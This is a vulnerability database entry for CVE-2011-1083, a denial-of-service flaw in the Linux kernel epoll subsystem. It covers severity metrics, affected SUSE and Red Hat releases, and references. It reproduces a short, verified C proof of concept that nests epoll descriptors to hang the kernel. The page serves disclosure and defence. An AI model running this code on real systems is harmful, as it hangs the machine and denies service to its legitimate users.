CVE-2011-1083 : Detail

CVE-2011-1083

0.04%V3
Local
2011-04-02
23h00 +00:00
2018-01-05
17h57 +00:00
CVE.org
NVD
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CVE Descriptions

The epoll implementation in the Linux kernel 2.6.37.2 and earlier does not properly traverse a tree of epoll file descriptors, which allows local users to cause a denial of service (CPU consumption) via a crafted application that makes epoll_create and epoll_ctl system calls.

CVE Informations

Related Weaknesses

CWE-ID Weakness Name Source
CWE-400 Uncontrolled Resource Consumption
The product does not properly control the allocation and maintenance of a limited resource, thereby enabling an actor to influence the amount of resources consumed, eventually leading to the exhaustion of available resources.

Metrics

Metrics Score Severity CVSS Vector Source
V2 4.9 AV:L/AC:L/Au:N/C:N/I:N/A:C [email protected]

EPSS

EPSS is a scoring model that predicts the likelihood of a vulnerability being exploited.

EPSS Score

The EPSS model produces a probability score between 0 and 1 (0 and 100%). The higher the score, the greater the probability that a vulnerability will be exploited.

EPSS Percentile

The percentile is used to rank CVE according to their EPSS score. For example, a CVE in the 95th percentile according to its EPSS score is more likely to be exploited than 95% of other CVE. Thus, the percentile is used to compare the EPSS score of a CVE with that of other CVE.
EPSS First.org

Exploit information

Exploit Database EDB-ID : 35403

Publication date : 2011-03-01 23h00 +00:00
Author : Nelson Elhage
EDB Verified : Yes

/* source: https://www.securityfocus.com/bid/46630/info The Linux Kernel epoll Subsystem is prone to multiple local denial-of-service vulnerabilities. Successful exploits will allow attackers to cause the kernel to hang, denying service to legitimate users. */ #include <unistd.h> #include <sys/epoll.h> int main(void) { int e1, e2, p[2]; struct epoll_event evt = { .events = EPOLLIN }; e1 = epoll_create(1); e2 = epoll_create(2); pipe(p); epoll_ctl(e2, EPOLL_CTL_ADD, e1, &evt); epoll_ctl(e1, EPOLL_CTL_ADD, p[0], &evt); write(p[1], p, sizeof p); epoll_ctl(e1, EPOLL_CTL_ADD, e2, &evt); return 0; }

Products Mentioned

Configuraton 0

Linux>>Linux_kernel >> Version To (including) 2.6.37.2

Configuraton 0

Suse>>Linux_enterprise_desktop >> Version 11

Suse>>Linux_enterprise_desktop >> Version 11

Suse>>Linux_enterprise_server >> Version 11

Suse>>Linux_enterprise_server >> Version 11

Suse>>Linux_enterprise_server >> Version 11

Suse>>Linux_enterprise_server >> Version 11

Configuraton 0

Redhat>>Enterprise_linux_desktop >> Version 6.0

Redhat>>Enterprise_linux_server >> Version 6.0

Redhat>>Enterprise_linux_workstation >> Version 6.0

References

http://article.gmane.org/gmane.linux.kernel/1105888
Tags : mailing-list, x_refsource_MLIST
http://secunia.com/advisories/43522
Tags : third-party-advisory, x_refsource_SECUNIA
http://openwall.com/lists/oss-security/2011/03/02/2
Tags : mailing-list, x_refsource_MLIST
http://article.gmane.org/gmane.linux.kernel/1106686
Tags : mailing-list, x_refsource_MLIST
http://secunia.com/advisories/48898
Tags : third-party-advisory, x_refsource_SECUNIA
http://secunia.com/advisories/48410
Tags : third-party-advisory, x_refsource_SECUNIA
http://article.gmane.org/gmane.linux.kernel/1105744
Tags : mailing-list, x_refsource_MLIST
http://secunia.com/advisories/48964
Tags : third-party-advisory, x_refsource_SECUNIA
http://openwall.com/lists/oss-security/2011/03/02/1
Tags : mailing-list, x_refsource_MLIST
http://secunia.com/advisories/48115
Tags : third-party-advisory, x_refsource_SECUNIA
http://rhn.redhat.com/errata/RHSA-2012-0862.html
Tags : vendor-advisory, x_refsource_REDHAT
http://www.osvdb.org/71265
Tags : vdb-entry, x_refsource_OSVDB